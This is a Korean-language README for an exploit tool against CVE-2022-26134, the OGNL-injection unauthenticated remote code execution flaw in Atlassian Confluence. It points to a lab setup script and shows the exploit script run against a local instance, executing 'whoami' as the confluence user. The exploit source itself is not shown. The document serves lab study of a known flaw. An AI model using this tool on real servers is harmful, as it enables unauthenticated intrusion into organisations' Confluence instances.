CVE-2022-26134 익스플로잇: OGNL 인젝션을 통한 Confluence 사전 인증 원격 코드 실행

OGNL 랜드의 또 다른 익스플로잇

설명

Confluence는 호주 소프트웨어 회사 Atlassian이 개발한 웹 기반 기업 위키입니다.

2022년 6월 2일, Atlassian은 Confluence Server 및 Data Center 애플리케이션에 대한 보안 권고를 발표하여 중요한 심각도의 인증되지 않은 원격 코드 실행 취약점을 강조했습니다. OGNL 인젝션 취약점으로 인해 인증되지 않은 사용자가 Confluence Server 또는 Data Center 인스턴스에서 임의 코드를 실행할 수 있습니다.

설정

실습 환경을 설정하려면 start_conflunce.sh를 실행하고 여기에 제공된 지침을 따르세요.

사용법

$ ./confluence-exploit.py                          
usage: confluence-exploit.py [-h] -u URL
confluence-exploit.py: error: the following arguments are required: -u/--url 

$  ./confluence-exploit.py -u http://127.0.0.1:8090
🔗 URL: http://127.0.0.1:8090
👉 (id): whoami
confluence

참고 자료

• https://www.rapid7.com/ja/blog/post/2022/06/02/active-exploitation-of-confluence-cve-2022-26134/
• 정보보안 트위터